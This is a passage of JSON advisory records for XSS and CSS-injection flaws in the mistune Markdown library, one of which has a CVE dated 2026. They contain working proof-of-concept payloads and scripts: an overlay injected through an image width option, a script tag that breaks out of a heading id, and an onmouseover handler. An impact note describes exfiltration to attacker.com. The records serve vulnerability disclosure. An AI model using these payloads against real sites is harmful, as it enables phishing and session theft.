3.3.0"}],"purl":"pkg:pypi/mistune"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1xY3EyLTQ5Nnctdjk2cM4ABac0/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1jY2Z4LW1mbXgtMmZ4Oc4ABW4C","url":"https://github.com/advisories/GHSA-ccfx-mfmx-2fx9","title":"Mistune Image Directive CSS Injection Vulnerability","description":"## Summary\nThe Image directive plugin validates the `:width:` and `:height:` options with a regex compiled as `_num_re = re.compile(r\"^\\d+(?:\\.\\d*)?\")`. This pattern is applied via `re.match()` (which anchors only at the **start** of the string, not the end). Any value that begins with one or more digits passes validation, regardless of what follows.\n\nWhen the validated value is not a plain integer, `render_block_image()` inserts it directly into a `style=\"width:...;\"` or `style=\"height:...;\"` attribute. Because the value was accepted by the prefix-only regex, any CSS after the leading digits reaches the `style=` attribute verbatim and without escaping.\n\nAn attacker can therefore inject an arbitrary chain of CSS properties — including `position:fixed`, `background-color`, `z-index`, `outline`, and `opacity` — using nothing more than a single `:width:` option in a fenced image directive. The resulting element can visually cover the entire browser viewport, enabling full-page phishing overlays and UI redressing attacks.\n\n## Details\n**File:** `src/mistune/directives/image.py`\n\n```python\n_num_re = re.compile(r\"^\\d+(?:\\.\\d*)?\")   # no $ anchor — prefix match only\n\ndef _parse_attrs(options):\n    height = options.get(\"height\")\n    width  = options.get(\"width\")\n    if height and _num_re.match(height):   # passes if value STARTS with a digit\n        attrs[\"height\"] = height           # full value stored, not just digits\n    if width and _num_re.match(width):     # same — prefix-only check\n        attrs[\"width\"] = width\n```\n\nAnd in `render_block_image()`:\n\n```python\nif width:\n    if width.isdigit():\n        img += ' width=\"' + width + '\"'   # safe: integer → HTML attribute\n    else:\n        style += \"width:\" + width + \";\"   # UNSAFE: non-integer → raw style value\n```\n\nThe `isdigit()` branch correctly uses an HTML attribute for plain integers. The `else` branch assumes that anything that passed `_num_re.match()` is a safe CSS length like `100px` or `50%`. However, because the regex is prefix-only, `100vw;height:100vh;position:fixed;...` also passes, and the entire string lands in `style=` unmodified.\n\n\n## PoC\n**Step 1 — Establish the baseline (safe plain-integer dimensions)**\n\nThe script creates a parser with `escape=True`, `FencedDirective`, and the `Image` plugin. A safe image directive is rendered with integer `width` and `height`:\n\n```python\nmd = create_markdown(escape=True, plugins=[FencedDirective([Image()])])\n\nbl_src = (\n    \"```{image} photo.jpg\\n\"\n    \":width: 400\\n\"\n    \":height: 300\\n\"\n    \":alt: safe image\\n\"\n    \"```\\n\"\n)\nbl_out = str(md(bl_src))\n```\n\nExpected and actual output — clean `width=` and `height=` HTML attributes, no `style=`:\n```html\n\u003cdiv class=\"block-image\"\u003e\u003cimg src=\"photo.jpg\" alt=\"safe image\" width=\"400\" height=\"300\" /\u003e\u003c/div\u003e\n```\n\n**Step 2 — Understand why non-integer widths go into `style=`**\n\nWhen `width` is not a plain integer (e.g., `100px`), `width.isdigit()` returns `False`, so the render path falls through to `style += \"width:\" + width + \";\"`. This is the intended mechanism for CSS-unit dimensions. The flaw is that `_num_re.match()` lets far more than CSS units through.\n\n**Step 3 — Craft the exploit payload**\n\nProvide a `:width:` value that begins with a valid number (satisfying `_num_re.match()`) but appends an entire CSS attack chain after it:\n\n```\n:width: 100vw;height:100vh;position:fixed;top:0;left:0;z-index:9999;background-color:#e11d48;outline:8px solid #facc15;color:#fff;opacity:.93\n```\n\n- `100vw` — starts with `1`, passes `_num_re.match()`; also sets the width to full viewport width\n- `;height:100vh` — overrides height to full viewport height\n- `;position:fixed` — lifts element out of document flow, fixed to the browser viewport\n- `;top:0;left:0` — anchors overlay to the top-left corner\n- `;z-index:9999` — places it above all other page content\n- `;background-color:#e11d48` — fills the overlay with vivid crimson\n- `;outline:8px solid #facc15` — adds a bright yellow border\n- `;color:#fff;opacity:.93` — styles the alt-text label in white with near-full opacity\n\nFull exploit markdown:\n```\n```{image} x.jpg\n:width: 100vw;height:100vh;position:fixed;top:0;left:0;z-index:9999;background-color:#e11d48;outline:8px solid #facc15;color:#fff;opacity:.93\n:alt: ⚠ CSS INJECTED — click to dismiss ⚠\n```\n```\n\n**Step 4 — Observe the injected `style=` in the output**\n\n```python\nex_src = (\n    \"```{image} x.jpg\\n\"\n    \":width: 100vw;height:100vh;position:fixed;top:0;left:0;z-index:9999;\"\n    \"background-color:#e11d48;outline:8px solid #facc15;color:#fff;opacity:.93\\n\"\n    \":alt: ⚠ CSS INJECTED — click to dismiss ⚠\\n\"\n    \"```\\n\"\n)\nex_out = str(md(ex_src))\n```\n\nActual output:\n```html\n\u003cdiv class=\"block-image\"\u003e\u003cimg src=\"x.jpg\" alt=\"⚠ CSS INJECTED — click to dismiss ⚠\" style=\"width:100vw;height:100vh;position:fixed;top:0;left:0;z-index:9999;background-color:#e11d48;outline:8px solid #facc15;color:#fff;opacity:.93;\" /\u003e\u003c/div\u003e\n```\n\nEvery injected CSS property is present in the `style=` attribute. When a browser renders this HTML, the `\u003cimg\u003e` element:\n- expands to fill 100% of the viewport width and height\n- sits fixed at the top-left corner, scrolling with the viewport\n- is coloured crimson with a yellow outline\n- appears above all other page content\n\nThe result is a complete full-page phishing overlay generated from a single Markdown image directive.\n\n### Script \n\nI have built a script that you can use to verify this. It creates a HTML page showing the bypass so that you can see it render in the browser.\n\n```python\n#!/usr/bin/env python3\n\"\"\"H6: Image directive CSS injection — width/height use prefix-only re.match().\n\nExploit combines: position:fixed  +  background-color  +  outline colour\n→ a full-viewport coloured overlay injected via a single :width: option.\n\"\"\"\nimport os, html as h\nfrom mistune import create_markdown\nfrom mistune.directives import FencedDirective\nfrom mistune.directives.image import Image\n\nmd = create_markdown(escape=True, plugins=[FencedDirective([Image()])])\n\n# --- baseline ---\nbl_file = \"baseline_h6.md\"\nbl_src  = (\n    \"```{image} photo.jpg\\n\"\n    \":width: 400\\n\"\n    \":height: 300\\n\"\n    \":alt: safe image\\n\"\n    \"```\\n\"\n)\nwith open(os.path.join(os.getcwd(), bl_file), \"w\") as f:\n    f.write(bl_src)\nbl_out = str(md(bl_src))\n\nprint(f\"[{bl_file}]\\n{bl_src}\")\nprint(\"[output — clean width/height attributes, no style injection]\")\nprint(bl_out)\n\n# --- exploit ---\n# _num_re.match() is prefix-only (no $ anchor), so anything after the leading\n# digits is accepted and written verbatim into style=\"width:\u003cvalue\u003e;\".\n# This single :width: value smuggles a full CSS attack chain:\n#   position:fixed  → overlay sits above the entire page\n#   top/left/width/height → covers 100 % of the viewport\n#   background-color:#e11d48 → vivid crimson fill\n#   outline:8px solid #facc15 → bright yellow border\n#   color:#fff → white alt-text label\n#   z-index:9999 → on top of everything\nex_file = \"exploit_h6.md\"\nex_src  = (\n    \"```{image} x.jpg\\n\"\n    \":width: 100vw;height:100vh;position:fixed;top:0;left:0;z-index:9999;\"\n    \"background-color:#e11d48;outline:8px solid #facc15;color:#fff;opacity:.93\\n\"\n    \":alt: ⚠ CSS INJECTED — click to dismiss ⚠\\n\"\n    \"```\\n\"\n)\nwith open(os.path.join(os.getcwd(), ex_file), \"w\") as f:\n    f.write(ex_src)\nex_out = str(md(ex_src))\n\nprint(f\"[{ex_file}]\\n{ex_src}\")\nprint(\"[output — colour + background-colour + fixed overlay injected into style=]\")\nprint(ex_out)\n\n# --- HTML report ---\nCSS = \"\"\"\nbody{font-family:-apple-system,sans-serif;max-width:1200px;margin:40px auto;background:#f0f0f0;color:#111;padding:0 24px}\nh1{font-size:1.3em;border-bottom:3px solid #333;padding-bottom:8px;margin-bottom:4px}\np.desc{color:#555;font-size:.9em;margin-top:6px}\n.warn{background:#fffbeb;border:1px solid #fbbf24;border-radius:6px;padding:10px 16px;\n      font-size:.85em;color:#92400e;margin:12px 0}\n.case{margin:24px 0;border-radius:8px;overflow:hidden;border:1px solid #ccc;\n      box-shadow:0 1px 4px rgba(0,0,0,.1)}\n.case-header{padding:10px 16px;font-weight:bold;font-family:monospace;font-size:.85em}\n.baseline .case-header{background:#d1fae5;color:#065f46}\n.exploit  .case-header{background:#fee2e2;color:#7f1d1d}\n.panels{display:grid;grid-template-columns:1fr 1fr;background:#fff}\n.panel{padding:16px}\n.panel+.panel{border-left:1px solid #eee}\n.panel h3{margin:0 0 8px;font-size:.68em;color:#888;text-transform:uppercase;letter-spacing:.07em}\npre{margin:0;padding:10px;background:#f6f6f6;border:1px solid #e0e0e0;border-radius:4px;\n    font-size:.78em;white-space:pre-wrap;word-break:break-all}\n.rlabel{font-size:.68em;color:#aaa;margin:10px 0 4px;font-family:monospace}\n.rendered{padding:12px;border:1px dashed #ccc;border-radius:4px;min-height:20px;\n          background:#fff;font-size:.9em;position:relative;overflow:hidden;height:180px}\n/* scope the live-render sandbox so position:fixed stays inside the box */\n.sandbox{position:relative;width:100%;height:100%}\n.sandbox img{max-width:100%;max-height:100%;object-fit:contain}\n/* override position:fixed on exploit img to keep it inside the preview box */\n.sandbox img[style*=\"position:fixed\"]{position:absolute!important;width:100%!important;\n  height:100%!important;top:0!important;left:0!important}\n\"\"\"\n\ndef case(kind, label, filename, src, out):\n    header = \"BASELINE\" if kind == \"baseline\" else \"EXPLOIT\"\n    sandbox = f'\u003cdiv class=\"sandbox\"\u003e{out}\u003c/div\u003e'\n    return f\"\"\"\n\u003cdiv class=\"case {kind}\"\u003e\n  \u003cdiv class=\"case-header\"\u003e{header} — {h.escape(label)}\u003c/div\u003e\n  \u003cdiv class=\"panels\"\u003e\n    \u003cdiv class=\"panel\"\u003e\n      \u003ch3\u003eInput — {h.escape(filename)}\u003c/h3\u003e\n      \u003cpre\u003e{h.escape(src)}\u003c/pre\u003e\n    \u003c/div\u003e\n    \u003cdiv class=\"panel\"\u003e\n      \u003ch3\u003eOutput — HTML source\u003c/h3\u003e\n      \u003cpre\u003e{h.escape(out)}\u003c/pre\u003e\n      \u003cdiv class=\"rlabel\"\u003e↓ live render (sandboxed to preview box)\u003c/div\u003e\n      \u003cdiv class=\"rendered\"\u003e{sandbox}\u003c/div\u003e\n    \u003c/div\u003e\n  \u003c/div\u003e\n\u003c/div\u003e\"\"\"\n\npage = f\"\"\"\u003c!DOCTYPE html\u003e\u003chtml lang=\"en\"\u003e\u003chead\u003e\u003cmeta charset=\"UTF-8\"\u003e\n\u003ctitle\u003eH6 — Image CSS Injection\u003c/title\u003e\u003cstyle\u003e{CSS}\u003c/style\u003e\u003c/head\u003e\u003cbody\u003e\n\u003ch1\u003eH6 — Image Directive CSS Injection\u003c/h1\u003e\n\u003cp class=\"desc\"\u003e\n  \u003ccode\u003e_parse_attrs()\u003c/code\u003e in \u003ccode\u003edirectives/image.py\u003c/code\u003e validates\n  \u003ccode\u003e:width:\u003c/code\u003e / \u003ccode\u003e:height:\u003c/code\u003e with \u003ccode\u003e_num_re.match()\u003c/code\u003e\n  (prefix-only — no \u003ccode\u003e$\u003c/code\u003e anchor). Anything after the leading digits\n  is accepted verbatim and written straight into a \u003ccode\u003estyle=\u003c/code\u003e attribute.\n  A single \u003ccode\u003e:width:\u003c/code\u003e option is sufficient to smuggle an arbitrary\n  CSS chain: \u003cstrong\u003eposition:fixed · background-color · outline colour · full-viewport overlay\u003c/strong\u003e.\n\u003c/p\u003e\n\u003cdiv class=\"warn\"\u003e\n  ⚠ The EXPLOIT preview below is sandboxed inside its box.\n  In a real document the crimson overlay would cover the \u003cem\u003eentire browser window\u003c/em\u003e.\n\u003c/div\u003e\n{case(\"baseline\",\n      \"Integer dims → clean width/height= attributes, no style=\",\n      bl_file, bl_src, bl_out)}\n{case(\"exploit\",\n      \":width: carries position:fixed + background-color + outline → full-viewport coloured overlay\",\n      ex_file, ex_src, ex_out)}\n\u003c/body\u003e\u003c/html\u003e\"\"\"\n\nout_path = os.path.join(os.getcwd(), \"report_h6.html\")\nwith open(out_path, \"w\") as f:\n    f.write(page)\nprint(f\"\\n[report] {out_path}\")\n```\n\nExample usage:\n```bash\npython poc.py\n```\n\nOnce you run the script, open `report_h6.html` in the browser and observe the behaviour.\n\n## Impact\n| Dimension        | Assessment |\n|------------------|-----------|\n| **Confidentiality** | CSS-based data exfiltration via `background-image: url(https://attacker.com/?leak=...)` is possible in some browser/CSP configurations |\n| **Integrity**    | Full-viewport overlay enables complete UI replacement: phishing login forms, fake alerts, click-jacking, brand impersonation |\n| **Availability** | The overlay obscures all page content from the user until dismissed or navigated away |\n\n**Real-world impact scenario:** An attacker posts a Markdown document to a platform (wiki, issue tracker, documentation site) that renders mistune with the Image directive. Any user who views the page sees a full-screen crimson overlay matching the attacker's design, replacing or concealing the legitimate page content. The overlay can contain a convincing login prompt, survey form, or urgent warning designed to capture credentials.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-05-14T16:36:18.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":4.7,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:N/A:N","references":["https://github.com/lepture/mistune/security/advisories/GHSA-ccfx-mfmx-2fx9","https://github.com/lepture/mistune/releases/tag/v3.2.1","https://nvd.nist.gov/vuln/detail/CVE-2026-44899","https://github.com/advisories/GHSA-ccfx-mfmx-2fx9"],"source_kind":"github","identifiers":["GHSA-ccfx-mfmx-2fx9","CVE-2026-44899"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-05-14T17:00:17.886Z","updated_at":"2026-11-04T06:04:55.090Z","epss_percentage":0.00228,"epss_percentile":0.13569,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jY2Z4LW1mbXgtMmZ4Oc4ABW4C","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1jY2Z4LW1mbXgtMmZ4Oc4ABW4C","packages":[{"ecosystem":"pypi","package_name":"mistune","versions":[{"first_patched_version":"3.2.1","vulnerable_version_range":"= 3.2.0"}],"purl":"pkg:pypi/mistune"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jY2Z4LW1mbXgtMmZ4Oc4ABW4C/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS02MjY5LWNxeGctbWhods4ABW4B","url":"https://github.com/advisories/GHSA-6269-cqxg-mhhv","title":"Mistune TOC Anchor Injection XSS","description":"## Summary\n`render_toc_ul()` builds a `\u003cul\u003e` table-of-contents tree from a list of `(level, id, text)` tuples. Both the `id` value (used as `href=\"#\u003cid\u003e\"`) and the `text` value (used as the visible link label) are inserted into `\u003ca\u003e` tags via a plain Python format string — with no HTML escaping applied to either value.\n\nWhen heading IDs are derived from user-supplied heading text (the standard use-case for readable slug anchors), an attacker can craft a heading whose text breaks out of the `href=\"#...\"` attribute context, injecting arbitrary HTML tags including `\u003cscript\u003e` blocks directly into the rendered TOC.\n\nThis vulnerability is closely related to H2 (unescaped `id=` in `heading()`): the same `heading_id` callback pattern that triggers H2 also populates the `toc_items` list that `render_toc_ul()` consumes, meaning both vulnerabilities fire simultaneously in a typical documentation setup.\n\n## Details\n**File:** `src/mistune/toc.py`\n\n```python\ndef render_toc_ul(toc):\n    ...\n    for level, k, text in toc:\n        # k   = heading id  (used verbatim as href fragment)\n        # text = heading text (used verbatim as link label)\n        item = '\u003ca href=\"#{}\"\u003e{}\u003c/a\u003e'.format(k, text)\n        # Neither k nor text is passed through escape() at any point\n```\n\nThe `k` and `text` values come directly from the `toc_items` list accumulated during parsing. If `k` contains `\"` or `\u003e`, the `href` attribute is broken. If `text` contains `\u003c`, raw tags are injected as the visible link content.\n\n## PoC\n**Step 1 — Establish the baseline (safe default IDs)**\n\nThe script creates a parser with `escape=True` and the default `add_toc_hook()` (no custom callback). The default hook assigns sequential numeric IDs that never contain user text:\n\n```python\nmd_safe = create_markdown(escape=True)\nadd_toc_hook(md_safe)\n\nbl_src = \"# Introduction\\n\\n## Installation\\n\"\n_, state = md_safe.parse(bl_src)\nbl_out = render_toc_ul(state.env.get(\"toc_items\", []))\n```\n\nOutput — clean, safe TOC:\n```html\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"#toc_1\"\u003eIntroduction\u003c/a\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"#toc_2\"\u003eInstallation\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n```\n\n**Step 2 — Enable the vulnerable `heading_id` callback**\n\nRegister a callback that returns the raw heading text as the ID. This is the standard slug-based anchor pattern used by documentation generators:\n\n```python\ndef raw_id(token, index):\n    return token.get(\"text\", \"\")\n\nmd_vuln = create_markdown(escape=True)\nadd_toc_hook(md_vuln, heading_id=raw_id)\n```\n\n**Step 3 — Craft the exploit payload**\n\nConstruct a heading whose text terminates the `href=\"#...\"` attribute and injects a `\u003cscript\u003e` block followed by a dangling `\u003ca href=\"` to absorb the closing `\"\u003e` that `render_toc_ul` appends:\n\n```\n## x\"\u003e\u003cscript\u003ealert(document.cookie)\u003c/script\u003e\u003ca href=\"\n```\n\nWhen `raw_id` processes this heading, it returns the entire text as the ID: `x\"\u003e\u003cscript\u003ealert(document.cookie)\u003c/script\u003e\u003ca href=\"`.\n\n**Step 4 — Observe script injection in the TOC output**\n\n```python\nex_src = '## x\"\u003e\u003cscript\u003ealert(document.cookie)\u003c/script\u003e\u003ca href=\"\\n'\n_, state = md_vuln.parse(ex_src)\nex_out = render_toc_ul(state.env.get(\"toc_items\", []))\n```\n\n`render_toc_ul()` formats the malicious ID directly into the `\u003ca href\u003e`:\n\n```python\n'\u003ca href=\"#{}\"\u003e{}\u003c/a\u003e'.format(k, text)\n# becomes:\n'\u003ca href=\"#x\"\u003e\u003cscript\u003ealert(document.cookie)\u003c/script\u003e\u003ca href=\"\"\u003e...\u003ca/\u003e'\n```\n\nActual output:\n```html\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"#x\"\u003e\u003cscript\u003ealert(document.cookie)\u003c/script\u003e\u003ca href=\"\"\u003ex\u0026quot;\u0026gt;\u0026lt;script\u0026gt;alert(document.cookie)\u0026lt;/script\u0026gt;\u0026lt;a href=\u0026quot;\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n```\n\nThe `\u003cscript\u003e` block is live in the document. Note that the anchor *label* (`text`) is escaped correctly by mistune's inline renderer before it reaches `toc_items`, but `k` (the heading ID) is not escaped anywhere.\n\n### Script\n\nI have built a script that you can use to verify this. It creates a HTML page showing the bypass so that you can see it render in the browser.\n\n```python\n#!/usr/bin/env python3\n\"\"\"H4: render_toc_ul() puts raw heading ID into \u003ca href\u003e without escaping.\"\"\"\nimport os, html as h\nfrom mistune import create_markdown\nfrom mistune.toc import add_toc_hook, render_toc_ul\n\ndef raw_id(token, index):\n    return token.get(\"text\", \"\")\n\n# --- baseline ---\nmd_safe = create_markdown(escape=True)\nadd_toc_hook(md_safe)\n\nbl_file = \"baseline_h4.md\"\nbl_src  = \"# Introduction\\n\\n## Installation\\n\"\nwith open(os.path.join(os.getcwd(), bl_file), \"w\") as f:\n    f.write(bl_src)\n_, state = md_safe.parse(bl_src)\nbl_out = render_toc_ul(state.env.get(\"toc_items\", []))\n\nprint(f\"[{bl_file}]\\n{bl_src}\")\nprint(\"[toc output — safe]\")\nprint(bl_out)\n\n# --- exploit ---\nmd_vuln = create_markdown(escape=True)\nadd_toc_hook(md_vuln, heading_id=raw_id)\n\nex_file = \"exploit_h4.md\"\nex_src  = '## x\"\u003e\u003cscript\u003ealert(document.cookie)\u003c/script\u003e\u003ca href=\"\\n'\nwith open(os.path.join(os.getcwd(), ex_file), \"w\") as f:\n    f.write(ex_src)\n_, state = md_vuln.parse(ex_src)\nex_out = render_toc_ul(state.env.get(\"toc_items\", []))\n\nprint(f\"[{ex_file}]\\n{ex_src}\")\nprint(\"[toc output — script injected via href breakout]\")\nprint(ex_out)\n\n# --- HTML report ---\nCSS = \"\"\"\nbody{font-family:-apple-system,sans-serif;max-width:1200px;margin:40px auto;background:#f0f0f0;color:#111;padding:0 24px}\nh1{font-size:1.3em;border-bottom:3px solid #333;padding-bottom:8px;margin-bottom:4px}\np.desc{color:#555;font-size:.9em;margin-top:6px}\n.case{margin:24px 0;border-radius:8px;overflow:hidden;border:1px solid #ccc;box-shadow:0 1px 4px rgba(0,0,0,.1)}\n.case-header{padding:10px 16px;font-weight:bold;font-family:monospace;font-size:.85em}\n.baseline .case-header{background:#d1fae5;color:#065f46}\n.exploit  .case-header{background:#fee2e2;color:#7f1d1d}\n.panels{display:grid;grid-template-columns:1fr 1fr;background:#fff}\n.panel{padding:16px}\n.panel+.panel{border-left:1px solid #eee}\n.panel h3{margin:0 0 8px;font-size:.68em;color:#888;text-transform:uppercase;letter-spacing:.07em}\npre{margin:0;padding:10px;background:#f6f6f6;border:1px solid #e0e0e0;border-radius:4px;font-size:.78em;white-space:pre-wrap;word-break:break-all}\n.rlabel{font-size:.68em;color:#aaa;margin:10px 0 4px;font-family:monospace}\n.rendered{padding:12px;border:1px dashed #ccc;border-radius:4px;min-height:20px;background:#fff;font-size:.9em}\n\"\"\"\n\ndef case(kind, label, filename, src, out):\n    return f\"\"\"\n\u003cdiv class=\"case {kind}\"\u003e\n  \u003cdiv class=\"case-header\"\u003e{'BASELINE' if kind=='baseline' else 'EXPLOIT'} — {h.escape(label)}\u003c/div\u003e\n  \u003cdiv class=\"panels\"\u003e\n    \u003cdiv class=\"panel\"\u003e\n      \u003ch3\u003eInput — {h.escape(filename)}\u003c/h3\u003e\n      \u003cpre\u003e{h.escape(src)}\u003c/pre\u003e\n    \u003c/div\u003e\n    \u003cdiv class=\"panel\"\u003e\n      \u003ch3\u003eTOC output — HTML source\u003c/h3\u003e\n      \u003cpre\u003e{h.escape(out)}\u003c/pre\u003e\n      \u003cdiv class=\"rlabel\"\u003e↓ rendered in browser\u003c/div\u003e\n      \u003cdiv class=\"rendered\"\u003e{out}\u003c/div\u003e\n    \u003c/div\u003e\n  \u003c/div\u003e\n\u003c/div\u003e\"\"\"\n\npage = f\"\"\"\u003c!DOCTYPE html\u003e\u003chtml lang=\"en\"\u003e\u003chead\u003e\u003cmeta charset=\"UTF-8\"\u003e\n\u003ctitle\u003eH4 — TOC XSS\u003c/title\u003e\u003cstyle\u003e{CSS}\u003c/style\u003e\u003c/head\u003e\u003cbody\u003e\n\u003ch1\u003eH4 — TOC render_toc_ul() XSS\u003c/h1\u003e\n\u003cp class=\"desc\"\u003erender_toc_ul() in toc.py uses '\u0026lt;a href=\"#{{}}\"\u0026gt;{{}}\u0026lt;/a\u0026gt;'.format(k, text) —\nneither k (the heading ID) nor text is escaped before insertion.\u003c/p\u003e\n{case(\"baseline\", \"Normal headings → sequential IDs → clean TOC links\", bl_file, bl_src, bl_out)}\n{case(\"exploit\",  \"Malicious heading ID breaks out of href='#...' → script injected\", ex_file, ex_src, ex_out)}\n\u003c/body\u003e\u003c/html\u003e\"\"\"\n\nout_path = os.path.join(os.getcwd(), \"report_h4.html\")\nwith open(out_path, \"w\") as f:\n    f.write(page)\nprint(f\"\\n[report] {out_path}\")\n```\n\nExample usage:\n```bash\npython poc.py\n```\n\nOnce you run the script, open `report_h4.html` in the browser and observe the behaviour.\n\n## Impact\n| Dimension        | Assessment |\n|------------------|-----------|\n| **Confidentiality** | JavaScript execution; attacker can exfiltrate session cookies and any data accessible from the page's origin |\n| **Integrity**    | Arbitrary DOM manipulation, phishing form injection, forced redirects |\n| **Availability** | Page crash or freeze available as secondary effect |\n\n**Risk context:** TOC generation is a rendering step that often happens in a different template layer from the main body render, potentially reviewed separately and trusted implicitly. Vulnerabilities in TOC output are frequently overlooked in code review. Combined with H2, an attacker exploiting this via a single malicious heading simultaneously injects into both the heading element and the TOC anchor.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-05-14T16:36:12.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.1,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","references":["https://github.com/lepture/mistune/security/advisories/GHSA-6269-cqxg-mhhv","https://github.com/lepture/mistune/commit/04880a0","https://github.com/lepture/mistune/releases/tag/v3.2.1","https://nvd.nist.gov/vuln/detail/CVE-2026-44898","https://github.com/advisories/GHSA-6269-cqxg-mhhv"],"source_kind":"github","identifiers":["GHSA-6269-cqxg-mhhv","CVE-2026-44898"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-05-14T17:00:17.886Z","updated_at":"2026-11-04T06:04:55.090Z","epss_percentage":0.00228,"epss_percentile":0.13568,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02MjY5LWNxeGctbWhods4ABW4B","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS02MjY5LWNxeGctbWhods4ABW4B","packages":[{"ecosystem":"pypi","package_name":"mistune","versions":[{"first_patched_version":"3.2.1","vulnerable_version_range":"= 3.2.0"}],"purl":"pkg:pypi/mistune"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02MjY5LWNxeGctbWhods4ABW4B/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS12ODd2LTgzaDItNTN3N84ABWg4","url":"https://github.com/advisories/GHSA-v87v-83h2-53w7","title":"Mistune Heading ID Attribute has Injection XSS","description":"## Summary\n`HTMLRenderer.heading()` builds the opening `\u003chN\u003e` tag by string-concatenating the `id` attribute value directly into the HTML — with no call to `escape()`, `safe_entity()`, or any other sanitisation function. A double-quote character `\"` in the `id` value terminates the attribute, allowing an attacker to inject arbitrary additional attributes (event handlers, `src=`, `href=`, etc.) into the heading element.\n\nThe default TOC hook assigns safe auto-incremented IDs (`toc_1`, `toc_2`, …) that never contain user text. However, the `add_toc_hook()` API accepts a caller-supplied `heading_id` callback. Deriving heading IDs from the heading text itself — to produce human-readable slug anchors like `#installation` or `#getting-started` — is by far the most common real-world usage of this callback (every major documentation generator does this). When the callback returns raw heading text, an attacker who controls heading content can break out of the `id=` attribute.\n\n## Details\n**File:** `src/mistune/renderers/html.py`\n\n```python\ndef heading(self, text: str, level: int, **attrs: Any) -\u003e str:\n    tag = \"h\" + str(level)\n    html = \"\u003c\" + tag\n    _id = attrs.get(\"id\")\n    if _id:\n        html += ' id=\"' + _id + '\"'    # ← _id is never escaped\n    return html + \"\u003e\" + text + \"\u003c/\" + tag + \"\u003e\\n\"\n```\n\nThe `text` body (line content) *is* escaped upstream by the inline token renderer, which is why `text` arrives as `\u0026quot;` etc. But `_id` arrives as a raw string directly from whatever the `heading_id` callback returned — no escaping occurs at any point in the pipeline.\n\n## PoC\n**Step 1 — Establish the baseline (safe default IDs)**\n\nThe script creates a parser with `escape=True` and the default `add_toc_hook()` (no custom `heading_id` callback). The default hook generates sequential numeric IDs:\n\n```python\nmd_safe = create_markdown(escape=True)\nadd_toc_hook(md_safe)          # default: heading_id produces toc_1, toc_2, …\n\nbl_src = \"## Introduction\\n\"\nbl_out, _ = md_safe.parse(bl_src)\n```\n\nOutput — ID is auto-generated, no user text appears in it:\n```html\n\u003ch2 id=\"toc_1\"\u003eIntroduction\u003c/h2\u003e\n```\n\n**Step 2 — Add the realistic trigger: a text-based `heading_id` callback**\n\nDeriving an anchor ID from the heading text is the standard real-world pattern (slugifiers, `mkdocs`, `sphinx`, `jekyll` all do this). The PoC uses the simplest possible version — return the raw heading text unchanged — to show the vulnerability without any extra transformation:\n\n```python\ndef raw_id(token, index):\n    return token.get(\"text\", \"\")   # returns raw heading text as the ID\n\nmd_vuln = create_markdown(escape=True)\nadd_toc_hook(md_vuln, heading_id=raw_id)\n```\n\n**Step 3 — Craft the exploit payload**\n\nConstruct a heading whose text contains a double-quote followed by an injected attribute:\n\n```\n## foo\" onmouseover=\"alert(document.cookie)\" x=\"\n```\n\nWhen `raw_id` is called, `token[\"text\"]` is `foo\" onmouseover=\"alert(document.cookie)\" x=\"`. This is passed verbatim to `heading()` as the `id` attribute value.\n\n**Step 4 — Observe attribute breakout in the output**\n\n```python\nex_src = '## foo\" onmouseover=\"alert(document.cookie)\" x=\"\\n'\nex_out, _ = md_vuln.parse(ex_src)\n```\n\nActual output:\n```html\n\u003ch2 id=\"foo\" onmouseover=\"alert(document.cookie)\" x=\"\"\u003efoo\u0026quot; onmouseover=\u0026quot;alert(document.cookie)\u0026quot; x=\u0026quot;\u003c/h2\u003e\n```\n\nNote: the heading **body text** is correctly escaped (`\u0026quot;`), but the **`id=` attribute** is not. A user who moves their mouse over the heading triggers `alert(document.cookie)`. Any JavaScript payload can be substituted.\n\n### Script \n\nA verification script was created to verify this issue. It creates a HTML page showing the bypass rendering in the browser.\n\n```python\n#!/usr/bin/env python3\n\"\"\"H2: HTMLRenderer.heading() inserts the id= value verbatim — no escaping.\"\"\"\nimport os, html as h\nfrom mistune import create_markdown\nfrom mistune.toc import add_toc_hook\n\ndef raw_id(token, index):\n    return token.get(\"text\", \"\")\n\n# --- baseline ---\nmd_safe = create_markdown(escape=True)\nadd_toc_hook(md_safe)\n\nbl_file = \"baseline_h2.md\"\nbl_src  = \"## Introduction\\n\"\nwith open(os.path.join(os.getcwd(), bl_file), \"w\") as f:\n    f.write(bl_src)\nbl_out, _ = md_safe.parse(bl_src)\n\nprint(f\"[{bl_file}]\\n{bl_src}\")\nprint(\"[output — id=toc_1, no user content, safe]\")\nprint(bl_out)\n\n# --- exploit ---\nmd_vuln = create_markdown(escape=True)\nadd_toc_hook(md_vuln, heading_id=raw_id)\n\nex_file = \"exploit_h2.md\"\nex_src  = '## foo\" onmouseover=\"alert(document.cookie)\" x=\"\\n'\nwith open(os.path.join(os.getcwd(), ex_file), \"w\") as f:\n    f.write(ex_src)\nex_out, _ = 